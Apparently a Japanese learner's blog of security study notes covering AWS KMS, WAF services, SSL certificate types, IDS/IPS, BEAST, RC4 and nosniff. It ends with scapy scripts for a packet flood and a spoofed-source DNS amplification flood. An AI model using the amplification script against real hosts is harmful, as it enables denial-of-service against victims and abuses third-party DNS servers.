AWS KMSとは

データの暗号化/複合化に利用するKeyをセキュアに管理するのがAWS KMSです。
暗号化/複合化のためのキーをAWS KMSで簡単に生成でき、AWS KMS上にキーを保管することができる。

1. KMS上にCMKを作成
暗号化するときに利用するキーを生成するためのCMLを作成

2. CMKのKeyIDからデータキーを作成
CMLを元にしたKeyIDからデータキーを作成する
– 暗号化用のデータキー:データを暗号化するためのキー
– CMKを元に暗号化されたデータキー: データ複合化のために利用するキー

なるほど、使ってみないとわからんな。

WAFCharmとは

WafCharmは、世界中のwebに対する攻撃パターンをAIによって学習し、AWS WAF/Azure WAFのルールを最適化させるWAF自動運用サービス
月額5000円~
サイバーセキュリティクラウド社が提供

なるほどー

EV証明書とは?

### SSL証明書とは?
Webサイト運営者が存在していることを確認し、ブラウザとサーバ間でのやり取りされるデータの暗号化を行う電子証明書
通信を暗号化できる
ドメイン名や会社の実在証明ができる

### SSL証明書の種類: DV, OV, EV
DV(ドメイン認証): ドメイン認証 … 低
OV(実在証明型): ドメイン認証、会社実在認証(会社名、所在地)… 中
EV(実在証明拡張型): ドメイン認証、会社実在認証(会社名、所在地)、電話認証(在籍確認、会社運用状況確認)… 高

SSL証明書はブラウザ上で確認できる

CyberTrustのEV証明書だと、証明書の中に社名の表示ができる

なるほどーーーーーーーーーー
すげーわ、ガチで。。。

Scutumとは

Scutumはクラウド型WAF
DNSでScutumに向くように設定変更するだけでWAF導入が可能
初期:98,000円、月額29,800円

### Scutumの機能
認証: 総当たり、パスワードリスト攻撃
クライアント側での攻撃: クロスサイトスクリプティング、CSRF
コマンドでの実行: SQLインジェクション、バッファオーバーフロー、OSコマンドインジェクション、XPathインジェクション、書式文字列攻撃、LDAPインジェクション、SSIインジェクション、リモートファイルインクージョン、安全でないデシリアライゼーション
情報公開: ディレクトリインデクシング、情報漏洩、パスとラバーサル、リソース位置の推測、XXE脆弱性
ミドルウェア/フレームワーク: ShellShock, Apache2 Struts2, POODLE攻撃、SSL BEAST攻撃、HTTPリクエストスマグリング
マルウェア拡散: ドライブバイダウンロード攻撃
サービス運用妨害: DDoS攻撃

なるほどー 攻撃から守るってのは受け身やな

IDS/IPSとは

不正侵入を検知・防御するシステム
IDS・IPSではファイアウォールでは実現できない対策が可能

IDSはIntrusion Detection Systemの略で、ネットワークに対して不正なアクセスがないかをリアルタイムでチェックして、疑わしい内容があれば管理者へ通知を行う

### ネットワーク型
ネットワーク型はネットワーク上に設置し、パケットを監視する

### ホスト型
監視対象のサーバなどにインストールして使われるタイプ

### シグネチャ型とアノマリ型
シグネチャ型は、異常なアクセスのパターンを予め登録しておき、通信内容とそれが一致すれば不正と判断する検知方法
アノマリ型とはシグネチャ型と反対で、正常なアクセスパターンを事前に登録しておき、登録済のパターンと大きく異なるアクセスを見つけた場合は不正と判断する手法。

### IDS/IPSの効果
DoS攻撃、Synフラッド攻撃などに有効
ファイアウォールでは異常と検知されないものでも、パケットの内容からIDS/IPSでは検知が可能

### WAF(Web Application Firewall)
WAFはWeb Applicationに特化しているが、IPSはサーバ・ネットワーク全体

IDS/IPSはパケットの中身までチェックする

### Linuxで使えるホスト型IDS
Tripwire
http://www.tripwire.org/

$ sudo apt -y install tripwire

なんかすごいな

### WorkLoadSecurity
Trend Microの製品
$ sudo dpkg -i
開始: /etc/init.d/ds_agent start
停止: /etc/init.d/ds_agent stop
リセット: /etc/init.d/ds_agent reset
再起動: /etc/init.d/ds_agent restart
表示ステータス: svcs -a | grep ds_agent

なるほどな、インフラのこと、完全に見誤ってたわ
これは凄いわ

Browser Exploit Against SSL/TLSの脆弱性

### Browser Exploit Against SSL/TLS(BEAST)とは
SSL 3.0 の CBC モードを利用している場合、プロトコルに存在している脆弱性が悪用される可能性がある
暗号化ブロックの境界位置をイヴが自由にずらすことで、常に1バイトずつのブルートフォース攻撃が可能になる

### 対策
これらのプロトコルをサポートするサーバで TLS 1.2 または TLS 1.3 を有効にします。
これらのプロトコルをサポートするウェブブラウザで TLS 1.2 または TLS 1.3 を有効にします。

UbuntuではTLS1.2がデフォルトで有効になっている
なるほどー、最新OSを使うのは大事だな

RC4暗号とは?

### RC4暗号とは?
1ビット単位で暗号化・復号が可能なストリーム暗号(stream cipher)で、WEPやWPA、SSL/TLS、sshなど様々なプロトコルの暗号方式の一つとして採用
RC4は脆弱な暗号方式とされており、ブラウザのサポートが順次終了して利用できなくなる

RC4 暗号が暗号化で保護されなくなったため、RC4 のサポートが削除されるという合意が業界全体で存在している

### 無効化の方法
ubuntuの場合
/etc/apache2/site-available/default-ssl.conf

SSLCipherSuite HIGH:MEDIUM:!aNULL:!MD5:!3DES:!RC4

sudo systemctl restart httpd.service

2^30.6 byteのキーストリームにより識別可能
2^44.7 byteのキーストリームにより識別可能
などが原因らしい
なるほどー

X-Content-Type-Options:nosniffとは?

Content-TypeはHTTPレスポンスヘッダに付与する属性
text/plain, text/html, application/json, application/pdfなど

### X-Content-Type-Options:nosniffとは?
ファイルの内容をContent-Type属性から判断してとお願いできる。

phpの場合

header("X-Content-Type-Options: nosniff");

なるほどー やりおる

[マクロウィルスとは]

特定のページを開くというマクロ

Sub workbook_open()
	ActiveSheet.Hyperlinks.Add(Anchor:=Range("A1"),_
	Address:="",
	_TextToDisplay:="解説ページへ!").Follow
End Sub

上記のように、添付ファイルにマクロを仕込み、ユーザが開封したらマクロが起動する。

WannaCryの例だと、WindowsのMS17-010という脆弱性があるサーバー・パソコンで感染を広げる。この脆弱性は、ファイル共有のしくみ(SMBv1と呼ばれる通信プロトコル)にあり、プリンターの共有やファイル共有で使われている。これが残った状態で、かつインターネットに特定の条件の下で接続したままでいると、外部からの攻撃で侵入されてWannaCryに感染してしまう。

なるほどー

[Security] DoS攻撃

自分の契約しているvpsに自分でパケットを送る

$ pip3 install scapy

from scapy.all import*

source_IP = "*.*.*.*"
target_IP = "*.*.*.*"
source_port = "80"
i = 1

while True:
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1/TCP1
   send(pkt, inter = .001)

   print("paket sent ", i)
   i = i + 1

$ python3 main.py
raise AttributeError(fname)
AttributeError: source_IP

うまくいかんな

違う方法

from scapy.all import *

target = "*.*.*.*"
dns1 = "*.*.*.*"

udp = UDP(dport=53)
dns = DNS(rd=1, qdcount=1, qd=DNSQR(qname="www.google.com", qtype=255))

i = 1

while True:
   ip = IP(src=target, dst=dns1)
   request = (ip/udp/dns)
   send(request)

   print("udp sent ", i)
   i = i + 1

なるほど、while文でパケットを送り続けるのか
ネットワーク周りの知識がかなり必要だな